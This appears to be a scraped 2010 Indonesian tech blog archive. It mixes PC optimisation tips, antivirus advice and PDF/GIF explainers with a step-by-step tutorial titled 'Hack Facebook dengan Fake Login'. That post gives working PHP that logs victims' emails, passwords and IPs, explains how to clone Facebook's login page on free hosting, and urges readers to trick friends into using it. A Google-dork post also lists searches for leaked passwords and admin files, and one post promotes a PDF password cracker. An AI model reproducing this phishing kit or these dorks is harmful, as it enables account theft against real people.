Kadang penggunaan tampilan/skin tambahan windows bisa mempengaruhi kinerja cukup signifikan. Terutama penggunaan software tambahan. Sebaiknya jika ingin tampilan yang berbeda gunakan saja Windows Themes (bawaan windows).
6. Matikan beberapa efek Visual Windows
Selain itu beberapa efek windows [xp] yang tidak begitu penting bisa di matikan. Bisa di dilakukan melalui klik kanan di My Computer pilih Properties. Di tab Advanced di bagian Performance klik tombol Settings. Bisa di non aktifkan Visual efek yang tidak begitu penting.
7. Hapus icon di desktop yang tidak penting
Sering program yang di install di komputer akan membuat shortcut baru (icon) di desktop. Jika kita jarang menggunakan icon-icon ini, lebih baik di hapus saja, bisa sedikit mengurangi pemakaian memori.
8. Scan komputer dari Virus, Spyware, trojan dan sejenisnya
Jika komputer terinfeksi virus, sebagian besar kinerjanya akan menurun, bahkan bisa-bisa komputer menjadi sangat lambat. Oleh karena itu sebaiknya selalu dijaga agar komputer bebas virus. kemudian jika komputer sering terkoneksi ke Internet, maka sebaiknya sekitar sebulan sekali komputer di scan dari spyware, mallware dan sejenisnya.
9. Gunakan alternatif software yang lebih ringan
Beberapa software kandang hanya digunakan untuk beberapa hal yang sederhana. Misalnya menggunakan ACDSee hanya untuk melihat-lihat gambar atau foto saja. Jika hanya ingin melihatl lihat gambar dengan format standard, maka bisa menggunakan Fasilitas bawaan windows, karena ACDSee cukup berat terutama versi-versi terbaru.
10. Menggunakan Software TuneUp, defragment dan sejenisnya.
Jika kita kesulitan dengan optimalisasi sistem manual dan ingin cara mudah, maka kita bisa menggunakan program-program TuneUp, Defragment registry, dan sejenisnya.
11. Upgrade hardware
Jika memiliki dana tambahan dan spesifikasi komputer masih pas-pasan maka bisa di upgrade hardwarenya seperti Memory, CPU atau VGA. Yang paling berpengaruh biasanya Memory dan CPU.
12. Install Ulang
Kadang sistem yang sangat lama dan penuh dengan program yang banyak tidak/jarang terpakai, meski sudah di optimalisasi masih saja lambat. Jika seperti itu, mungkin install ulang adalah solusi yang terbaik, karena biasanya dengan system yang lebih “fresh” kinerja bisa maksimal.

Kutipan : http://ebsoft.web.id

Fungsi Antivirus

2010-01-16T20:28:00.000-08:00

Salah satu fungsi antivirus adalah mencegah virus menginfeksi komputer. Meski saat ini banyak antivirus yang mempunyai proactive detection ( kemampuan mendeteksi virus baru yang belum masuk database virus ) yang bagus, tetapi jika komputer sudah terinfeksi virus, biasanya antivirus yang ter-install tidak bisa berbuat banyak.

Mengapa seperti itu ? Ya, jika Komputer sudah terinfeksi virus, biasanya hal pertama yang dilakukan virus adalah menon-aktifkan antivirus yang ada, jika tidak berhasil maka virus akan mencegah antivirus untuk menghapus dirinya. Lalu bagaimana jika hal ini terjadi ?

Ada beberapa cara jika komputer sudah terinfeksi virus, dan virus yang sudah terinstall tidak sanggup menanganinya.

1. Install atau gunakan antivirus lain

Jika masih bisa di install Antivirus lain, maka sebaiknya di coba. Gunakan program antivirus yang terbaru, langsung scan jika sudah selesai install atau akan lebih baik jika di update terlebih dahulu. Mungkin untuk kebanyakan antivirus hal ini tidak berhasil, karena virus biasanya sudah mengantisipasi hal ini.

2. Scan Hardisk di Komputer lain

Jika mempunyai beberapa komputer atau ada teman yang mempunyai komputer dengan antivirus yang selalu update, maka cobalah scan di komputer tersebut. Cara terbaik adalah dengan melepas hardisk dan dipasang di komputer teman tersebut, kemudian baru di scan secara menyeluruh.

3. Scan dengan antivirus di Bootable CD

Bootable CD yang dimaksud disini merupakan CD yang berisi sistem operasi (baik sederhana maupun kompleks) yang bisa dijalankan komputer tanpa memerlukan hardisk. Dengan begitu, semua program yang ada di hardisk, termasuk virus dijamin tidak bisa berjalan, tetapi bisa diakses melalui Bootable CD ini.

Ada beberapa Bootable CD Gratis yang sudah disertakan antivirus dan bisa dimanfaatkan, antara lain :

· Ultimatebootcd (UBCD), Bootable CD ini berbasis DOS, sehingga mungkin bagi yang belum terbiasa akan kesulitan. Selain itu Antivirus yang disertakan hanya F-Prot Antivirus for DOS ( Virus definition: 4 May 2007), McAfee Antivirus Scanner 4.40.0 (Virus definition: 3 May 2007) dan BugHunter. Sehingga sepertinya tidak mencukupi karena tidak update lagi. Download dan selengkapnya di http://www.ultimatebootcd.com

· UBCD4Win (Ultimate Boot CD for Windows). Ini merupakan pengembangan dari UBCD, dan sudah berbasis windows XP sehingga lebih memudahkan penggunanya. Tetapi untuk membuat Bootable CD-nya diperlukan CD Instalasi Windows XP. Ukurannya cukup besar, yaitu sekitar 230 MB. Informasi selengkapnya bisa dibaca artikel tentang UBCD for Windows disini. Untuk download bisa didapat di http://www.ubcd4win.com.

· AntiVir Rescue System, Bootable CD ini berbasis Linux. Dibanding Bootable CD sebelumnya, AntiVir Rescue System merupakan Bootable CD yang khusus menangani virus, selain itu aplikasi ini selalu update, bahkan mungkin setiap hari selalu ada tambahan virus baru, sehingga sangat bermanfaat

4. Scan dan hapus virus secara manual

Cara ini bisa dilakukan bagi yang sudah cukup familiar dengan Sistem operasi khususnya windows, berbagai teknik virus (menyebar, menginfeksi dll), berbagai informasi tentang file atau directory komputer dan lainnya. Cara ini sebaiknya dilakukan melalui Bootable CD ( bisa digunakan Bootable CD dari cara ke 3 diatas atau dengan Linux Live CD seperti Ubuntu, Knoppix dan lainnya.

5. Install ulang

Ini mungkin alternatif terakhir jika cara-cara diatas tidak bisa atau ingin cara cepat. Tetapi dengan selesainya install ulang tidak menjamin komputer bebas virus lagi, bisa saja virus menginfeksi program lainnya yang di install kemudian. Selain itu jika kita sudah meng-install program komputer yang cukup banyak, maka bisa jadi install ulang memerlukan waktu cukup lama dan melelahkan.

Cara ini mungkin juga tidak bisa dilakukan jika komputer/laptop sudah di install Sistem operasi sejak kita beli (Software OEM), karena biasanya tidak disertakan CD Instalasinya. Yang jelas jika ingin menginstall ulang, pastikan CD Driver komputer/laptop sudah tersedia. Selain itu sebaiknya diketahui dulu virus apa yang menginfeksi komputer sebelum menginstall ulang.

Kutipan : http://ebsoft.web.id

System Volume Information

2010-01-16T20:25:00.002-08:00

Jika kita menggunakan Windows XP Home maupun Professional, dan setting untuk folder-folder yang tersembunyi (Hidden system) ditampilkan, maka akan terlihat folder yang namanya “System Volume Information” di drive C: D: dan lainnya. Kadang kita tidak bisa membuka folder ini, atau jika bisa, maka untuk mengakses filenya tidak bisa. Sebenarnya apa fungsi atau kegunaan folder ini ?

Folder “System Volume Information” merupakan Hidden System folder (folder yang tersembunyi/sengaja disembunyikan oleh system windows) yang digunakan oleh System Restore untuk menyimpan informasi dan Restore points. Tetapi saat ini sering menjadi sarang virus

Seperti diketahui, bahwa Windows XP Home/Professional menyertakan fungsi Restore Point, yaitu fasilitas untuk mengatasi ketika ada program baru yang di install dan menyebabkan komputer bermasalah, dengan mengembalikan kondisi windows sesaat/waktu sebelum program baru tersebut di install (disebut Restore Point). Ketika melakukan restore komputer, data atau dokumen tidak akan hilang. Nah, data-data restore point ini disimpan di folder yang namanya “System Volume Information” ini.

Folder ini akan ada di setiap Drive/ Partisi windows, misalnya C:, D: dan lainnya. Memang melihat fungsinya folder ini cukup penting, tetapi kadang bisa berbahaya. Karena aksesnya yang terbatas, maka folder ini sering digunakan oleh virus untuk menyimpan duplikasi dirinya dan virus bisa menyerang lagi (kembali aktif) jika dilakukan restore. Selain itu kita biasanya tidak bisa mengakses folder ini. Bahkan antivirus yang mendeteksi ada virus di folder ini kadang juga tidak bisa menghapusnya.

Sebenarnya jika tidak begitu penting fasilitas ini bisa dimatikan, karena selain sering menjadi sarang virus, juga sering memakan space hardisk yang cukup banyak. Untuk mengaturnya bisa dibuka Start Menu > All Programs > Accessories > System Tools > System Restore. Untuk mematikan fasilitas ini cek menu “Turn off system restore for all drives”.

Kutipan : ebsoft.web.id

Dasar-Dasar Google Search

2010-01-16T20:25:00.001-08:00

Beberapa sintaks memang dirancang khusus untuk google disini akan ada beberapa yang dijelaskan

1. Intitle : Digunakan untuk membatasi hasil pencarian berdasarkan judul
Contoh : Intitle : username password. Digunakan untuk membatasi pencarian dengan kata “Username”
Hal yang patut dicoba
 Intitle :”Welcome to IIS 4.0”
 Intitle:”ColdFusion Administrator Login”
2. inurl : Digunakan untuk membatasi hasil pencarian hanya pada URL yang mengandung kata kunci yang dicari
Contoh : inurl:admin.mdb (Menampilkan file admin.mdb)
Hal yang patut dicoba
 Inurl:admin pass
3.site : Digunakan untuk membatasi pencarian query hanya pada situs atau domain tertentu saja.
Contoh: “hacker site:Microsoft.com” (tanpa tanda kutip)
Hal yang patut dicoba
 Top secret site:mil
 Confidential site:mil
4. Filletype : Digunakan untuk mencari file sebuah situs dengan ekstensi tertentu, contoh : doc, xls, ppt, pdf, mdb, txt dan sebagainya
Contoh :”filetype:pdf site:go.id pajak” (tanpa tanda kutip)
Hasil yang akan ditampilkan oleh google adalah semua situs go.id yang memiliki file pajak.pdf
Hal yang patut dicoba
 Filetype:xls “password”
 Filetype:xls “admin”
 Filetype:txt “Password”
5. Define : Digunakan untuk menampilkan definisi dari sebuah kata atau frasa.
Contoh : define:hacker
Hasil yang ditampilkan adalah pengertian dan definisi hacker
6. Phone Book : Digunakan untuk mencari nomor telepon dengan nama dan wilayah tertentu
Contoh : “phonebook:Michael Jackson+CA” (Tanpa tanda kutip)
Hasil yang ditampilkan adalah semua orang dengan nama Michael Jackson di wilayah California (CA).

Sampai disini dulu aktivitas googlenya, mudah-mudahan sintaks tadi akan mengimprove pencarian anda....

Hack Facebook dengan Fake Login

2010-01-16T20:21:00.000-08:00

Fake login? Apa itu?
Fake login adalah dimana seorang member suatu website (Misal Facebook) melakukan login.. maka username dan password akan dikirim ke suatu file php dan diautentikasi.
Disini kita akan memanipulasi dengan cara username dan password yang harus nya dikirim ke facebook akan kita alikan ke file .txt kita. Dan selanjutnya bisa ditebak, kita masuk dengan username dan password itu. Tanpa banyak basa-basi lagi, ayo kita lakukan.

Cara (Step by Step)
1. Anda harus memiliki akun di hostingan yang support php dan html, sampai sekarang penulis belum menemukan tempat yang kompatibel untuk php dan html. Jadi disini saya menggunakan 2 hostingan. Yang pertama saya gunakan 000webhost.com untuk menaruh php dan 50webs.com untuk menaruh html.. ribet ya, namanya juga gratisan 
2. Trus anda membuka www.facebook.com dengan Mozilla firefox. Setelah selesai di buka, klik CTRL + U. Dan muncul kode-kode lalu di kopi paste ke file txt. (namanya index.txt)
3. Buat skrip logs.php, file inilah untuk melakukan manipulasi dan penulisan.
Code:
$file = "logs.txt";
$username = $_POST['email'];
$password = $_POST['pass'];
$ip = $_SERVER['REMOTE_ADDR'];
$today = date("F j, Y, g:i a");

$handle = fopen($file, 'a');
fwrite($handle, "++++++++++++++++++++++++++++++++++++++++++++++++++++");
fwrite($handle, "\n");
fwrite($handle, "Email: ");
fwrite($handle, "$username");
fwrite($handle, "\n");
fwrite($handle, "Password: ");
fwrite($handle, "$password");
fwrite($handle, "\n");
fwrite($handle, "IP Address: ");
fwrite($handle, "$ip");
fwrite($handle, "\n");
fwrite($handle, "Date Submitted: ");
fwrite($handle, "$today");
fwrite($handle, "\n");
fwrite($handle, "++++++++++++++++++++++++++++++++++++++++++++++++++++");
fwrite($handle, "\n");
fwrite($handle, "\n");
fclose($handle);
echo "";
?>

4. setelah ditulis, save kedalam logs.php. Lalu upload ke server 000webhost.com. Sebagai contoh namanya websitenya http://facebookis.netau.net. Jadi alamat logs anda adalah http://facebookis.netau.net/logs.php
5. buka file facebook yang kita kopas (index.txt) lalu tekan CTRL + F. Lalu kita ketikkan “POST” (tanpa tanda kutip). Ada banyak kata “POST” yang ditemukan, misal kita ketemu post, lalu lihat kode berikutnya, jika kode berikutnya kira-kira seperti ini “

Setelah url diganti, save lah file kita dengan nama index.html
6. Upload index.html ke hostingan 50webs.com, misal nama website kita adalah http://facebookis.50webs.com/index.html.
7. suruh teman anda login disitu (tentunya dengan teknik SOCIAL ENGINEERING). Lalu perhatikan apa yang terjadi???
8. Yap, username dan password teman anda ke arah file anda. Tepatnya di http://facebookis.netau.net/logs.txt. (Kalau masih bingung, lihat kode sebelumnya)
9. Selesai deh, tetapi cara mendaftar di 50webs.com dan 000webhost.com tidak saya terangkan, karena sangat mudah (bilang aja males..... ;-))
10. Terkadang sangat menjengkelkan, kita buka txtnya malah tidak terbaca, nah mendingan buka akun 000webhost anda dan masuk ke file manager dimana tempat anda upload. Disitu pasti ada logs.txt nya, nah buka dari situ aja............ dijamin ada.
Penting :
1. Trik ini bisa dilakukan untuk fake login twitter, yahoo, gmail, dsb.... tetapi ada satu teknik lagi, yaitu manipulasi ID html, saya akan menjelaskan mungkin lain kali..

2. Saya sudah mencoba dan berhasil, jadi anda tidak perlu ragu untuk bertanya.

3. Teknik ini menuntut anda untuk mempelajari lebih dalam bahasa html dan php

Cara internetan di komputer / laptop lewat HP bermodem

2010-01-16T20:17:00.000-08:00

Bagaimana cara mengkoneksikan internet lewat handphone?? Tentunya akan menyenangkan karena kita tidak perlu bersusah payah ke warnet ataupun memasang modem langganan..

Pertama, kita lihat dulu apakah hape mu memiliki modem

Kedua, kita lihat juga apakah hape anda juga ada Bluetooth atau kabel data yang kompatibel dengan laptopmu.

Saya sarankan menggunakan kabel data yang sudah ada dikotak hape saat kamu membeli hape

Baiklah ini langkahnya (saya menggunakan kartu Indosat Im3 yang durasi – Win XP)

Dan cek juga pulsa internet mu, karena bukan diambil dari pulsa regular. Kalo kamu mau memakai im3 berdasarkan volume, lihat dibawah.

1. Masukkan Bluetooth adapter kedalam komputer anda (jika komputer anda sudah memiliki Bluetooth, aktifkan Bluetooth tersebut dan langsung ke step 3)

2. Jika sudah tercolok, maka akan ada notification bar sedang menginstall Bluetooth adapter

3. setelah terinstall, anda lalu menyalakan Bluetooth di HaPe anda

4. setelah itu, aka nada ikon Bluetooth kecil disamping clock (berada di ujung kanan bawah monitor) klik kanan ikon itu dan pilih “Add Bluetooth Device”

5. Lalu klik kotak “My Device is set up and ready to be found” dan klik Next

6. Lalu, Bluetooth adapter di komputer akan mencari hape anda

7. Jika sudah ketemu, klik hape anda lalu next

8. Setelah itu, anda disuruh memasukkan passkey... Di Hape anda ntar ada “enter passcode” dan masukkan seperti yang tertulis di komputer.

9. Jika passcode sudah benar, maka anda akan melihat hape anda sedang di install di komputer. Ini akan berjalan otomatis

10. Setelah semua selesai akan muncul semacam “Completion install wizard”

11. Sekarang, ke control panel, klik network connections

12. Di network task di sebelah kiri monitor, klik create a new connection.

13. Klik next, lalu klik next lagi

14. Pilih “set up my connection manually”

15. Klik next lagi

16. Klik salah satu modem hape anda

17. kotak ISP name anda masukkan “Indosat@durasi” (Tanpa tanda kutip)

18. di kotak phone number tulis “*99***1# (Tanpa tanda kutip)

19. Masukkan username “indosat@durasi” dan password “indosat” (Tanpa tanda kutip)

20. Setelah selesai, klik dial... dan dihape mu akan ada semacam notifikasi. Dihapemu klik accept pada notifikasi itu.

Selesai deh, mengapa saya pilih indosat@durasi???
1. Kita main berbasis durasi, bukan volume. Jadi anda buka facebook yang berkilo-kilo pun bukan masalah. Kalo kita memakai volume (Username : gprs password : im3 APN : indosatgprs)

Pasti beberapa menit pulsa kita langsung habis

2. Pulsa internet kita seharga 5000 bisa dipakai 4 jam ++ untuk internetan (WOW)

3. Lebih cepat aja koneksinya (Sebenernya blom tentu juga sih...)

Tips on Optimising PC Performance

2010-01-16T20:11:00.000-08:00

If your computer is showing symptoms with ageing-slowdown, system crashes or frequent errors-you need not get frustrated. What you are experiencing is something almost all PC users have to go through at some point or the other. Here are some very important tips that will help you improve the performance of your PC and greatly improve productivity for a long time to come.

Tip 1: Empty your Recycle Bin

Frequency: Once a Week

If you empty the Recycle Bin on a regular basis you will be able to free up a lot of precious hard disk space. This is because when you delete any file, your computer gives you another chance to restore a file, by storing it in Recycle Bin. In order to empty the bin, you need to right-click on the icon of Recycle Bin on Desktop and select the option that says Empty Recycle Bin.

Tip 2: Clean and Defragment your Hard Disk

Frequency: Once a Month

Your hard disk can get up filled with unnecessary files pretty quickly. A computer with unclean and cluttered hard drive may slow down to a snail's speed and may also become vulnerable to various errors. Your Windows operating system offers two great utilities that help you cleanup and defragment the hard disk in just few minutes. These two tools are:

a) Disk Cleanup: Eliminates redundant files like Temporary Internet files, Log files and so on.

b) Disk Defragmenter: It reorganizes the contents of your hard drive in a contiguous manner.

These two tools can be accessed through System Tools in your Windows Start menu.

Tip 3: Remove Unwanted Programs

Frequency: Once in 3 months

It is very easy to install new programs and applications but it has been often observed that these programs continue to stay on your computer, long after they have served their purpose. Such programs eat up a lot of system resources and may interfere with the normal functioning of other programs.

You can make use of a built-in tool known as Add/Remove Programs to get rid of the programs you no longer need. This tool is available in the Control Panel. When you open this tool, you will be able to see all the programs that are installed in your system. You can select the ones you want to delete and simply follow the instructions.

Tip 4: Scan your Computer for Malware

Frequency: Once a week

One of the main reasons that cause computer to freeze, slow down or even crash lies in malicious software or malware. Malware includes any kind of virus or spy software that enters your PC with the intent of causing damage to your system or to steal important information.

It is therefore recommended that you do not operate your system without installing reliable anti-virus and anti-spyware software. In addition to this, you must also perform a thorough and complete scan of your computer to eliminate any malicious software that may have crept in.

Kutipan : Goarticles.com

Registry Easy - Your Answer To Fixing Errors

2010-01-16T20:10:00.001-08:00

We use computers everyday for all sorts of tasks, and in doing those everyday tasks we are opening a lot of programs that the computer needs. The registry holds all the information that your computer needs for it to run programs. It is in effect a large database that holds settings and profiles that can be accessed by the pc at anytime.

Unfortunately, the constant use of the registry for things like the installing and uninstalling of programs makes it weaker if there are invalid or corrupt files. Over a period of time errors in this database can result in annoying problems happening with your PC. THings like slowdowns, odd and random shutdowns, sudden and unannounced reboots and also the dreaded "blue screen of death!"

To eliminate these issues, a repair of the registry is needed. However, the sheer size and complexity of means that fixing any issues can be a difficult task if it is done manually. And there is a risk of doing more damage than good by repairing it this way.

A registry cleaner is a good alternative as it is designed to fix issues in a few minutes. I personally recommend the program Registry Easy because it is a very effective and simple program to use. On startup it will scan for any issues and show you haw many problems you have, and what it will be repairing.

It does this very quickly, proving you with a report once it is completed. It digs deep in the registry looking for any common and not so common problems.

It is a good idea to backup the registry before you scan for errors, and Registry Easy helps yo to do that by telling you the location of the saved system. I liked this a lot because I have used programs before that do a backup but do not provide any information on where the backup is located. 24 hour support is provided with Registry Easy at no extra cost. The tech support is great - I got a very fast response in relation to my technical question!

Any future updates are also provided at no cost so you can be assured that our system is always up to date. A 60 day money bcd guarantee is given should it not meet your requirements.

Registry Easy updates itself as needed and all future updates and for free after purchase. It will automatically update itself if there is a new update on start-up, ensuring that it is always current.

There are a lot of registry cleaners available; some free and some not. All Free programs lack the features that are available to use in Registry Easy. I highly recommend this program to resolve any errors that you are having.

Kutipan : goarticles.com

Remove PDF Password and Unlock Password Protected PDF file to View or Modify PDF Documents

2010-01-16T20:09:00.001-08:00

PDF files have become the defacto document standard on the Internet. Why? Well because it is the Portable Document Format. The file you created will look just like you had prepared it, irrespective of the software used to create or read the file or whether the other person has the fonts you used. It also offers hundreds of other options that make it truly great for the power user.

However sometimes you get a PDF file from a friend/colleague or from the Internet that is password protected. Some require a password to open, others have the fonts, images and other content protected and others prohibit you from printing the file. You can of course contact the person concerned to get the password, but there can be plenty of situations where you would want to use a password protected PDF file otherwise! So, here I tell you a wonderful tool PDF Password Unlocker.

PDF Password Unlocker is the PDF Password recovery software that allows you to remove PDF passwords and open protected PDF files. PDF Password Unlocker recovers PDF passwords instantly and removes all the restrictions for copying, printing and other actions. It is powerful enough to recover PDF passwords of any strength with a speed higher than most of the existing programs. It's a premium program that unlocks PDF files created by either Adobe Acrobat PDF or any other PDF applications.

Main Features:

All Adobe PDF versions are supported through the latest 9.0

Support PDF files created by other PDF applications

Recover PDF Password for opening the file

Instantly remove restrictions and enables copying, printing and other actions, etc.

Powerful enough to recover passwords of high strength

Support 40-bit RC4, 128-bit RC4, 128-bit AES, 256-bit AES encryptions

Available of brute force, brute force with mask and dictionary attacks

Double in speed when compared to similar programs

Up to 4,000,000 passwords/s for single-cored CPU, and 8,000,000 passwords/s for multiple-cored CPU computers.

Able to minimize the recovering time by customizing a password character set if any part of the password is known

Able to create your own dictionary for the program to base on

Automatically save the recovery process and resume if accidentally stopped

Work on both single-cored CPU and multiple-cored CPU computers

Simple utility and easy to use

PDF Password Unlocker is the simpliest solution to PDF password recovery for encrypted Adobe Acrobat PDF documents. It is the ever easiest-to-use PDF password recovery tool to recover and remove both the "User Password" and "Owner Password" efficiently and safely, making it possible for you not only to open but to modify the PDF document. Thereafter, instead of locked out of the document, you can open it and perform all the operations as you like, such as select text and graphics, change or add annotations, copy to Clipboard, modify the content, and print the document, etc. Functions as an Adobe Acrobat PDF cracker, it is super easy to use! Just give the full path of your PDF to the program and with a mouse click to the "Start" button on the program will be OK. There is no related knowledge required, even a kid can manipulate successfully.

Kutipan : Goarticles.com

Portable Document Format (PDF)

2010-01-16T20:08:00.001-08:00

Portable Document Format is a computer application that was introduced by Adobe Systems in 1993. This file format is deployed for storing and transmitting documents. The PDF file format is useful for archiving and exchanging data. A person can share huge amount of information in a systematic manner through Portable Document Format. The PDF has portable and compatible feature with which the data can be exchanged across multiple platforms. The format also utilizes the two-dimensional document layout which includes text, graphics or multimedia content. The security features of the PDF file format enable the user to protect the contents of the document from any kind of alteration or misuse.

Why do we need to use Portable Document Format? PDF files are useful for many reasons. A PDF document has the capability to accommodate and transmit bulky information from one system to another. This file format contains text, raster graphics and vector graphics. In other words, you can use text in the PDF files. Along with the text you can also deploy images or graphics. The PDF file also has variety of fonts embedded in the file format. This feature enables the user to view any font in the PDF file on any kind of system with different configuration. You can also encrypt the PDF files and digitally encode your signatures into the file. One can set passwords for security reasons in the document to protect the content of the file. Digital signatures are also often used for security purposes. You can also customize the PDF file for using variety of online tools and techniques. One can also equip the user to navigate through the voluminous content by using hyperlinks or indexes. You can create variety of documents in the PDF file format. One can create newsletters, memos, contracts, advertisement copies, manuals, press releases and much more.

How to create PDF file format? There are many tools and techniques available to create the PDF files. You can use PDF converter tools. These computer programs can convert any application into PDF file or vice versa. There are many other online conversion tools that can create PDF files. You can also use printers to convert the printed documents into PDF files.

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Graphic Interchange Format (GIF)

2010-01-16T20:07:00.001-08:00

Graphic Interchange Format refers to a bitmap image format that is used for saving images. This format was developed by CompuServe in 1987 to exhibit images online. It gradually became popular due to its portable features. The portability of the format has made the task of the user flexible to produce high quality images. The GIF format makes use of indexed color while storing images. This indexed color is limited to a palette of 256 shades. Over the years, this format underwent revisions and modifications. The latest version is technically more advanced as compared to other formats used for images.

Why Do We Use the Graphic Interchange Format?

There are many uses of this Graphic Interchange Format. A person can save the images in this format for using the image on web pages. This format is equipped with lossless compression algorithms which compresses the file size of the images or graphics instantly. This makes the size of the file smaller. The smaller file size of the graphics enables you to easily deploy the format for web pages. You can also mail the images to any person as this format enables you to transfer the images immediately and swiftly. This format is useful for graphics giving better quality image. The appearance of the image is also clearer in GIF as compared to other formats. You can also create logos for the company using the file format. The logo of the organization can also be created in this file format. The GIF computer application also offers option to transparent the backgrounds. In this option you can show one palette color transparent in order to display the background through it. You can also use interlacing option with the GIF file format. The interlacing is the process that shows low quality image. The quality sharpens as the image download completes.

Comparison With Other Formats:

There are many other formats used for images. PDF is one among many such formats. PDF is a portable format like GIF for images. It enhances the quality of the image. However, this is not purely used for images as it can be used for storing text. You can use either PDF or GIF as an image format either for mailing purposes, creating logos or as web images. To convert different file formats into PDF like convert word to PDF, you can use PDF converter software.

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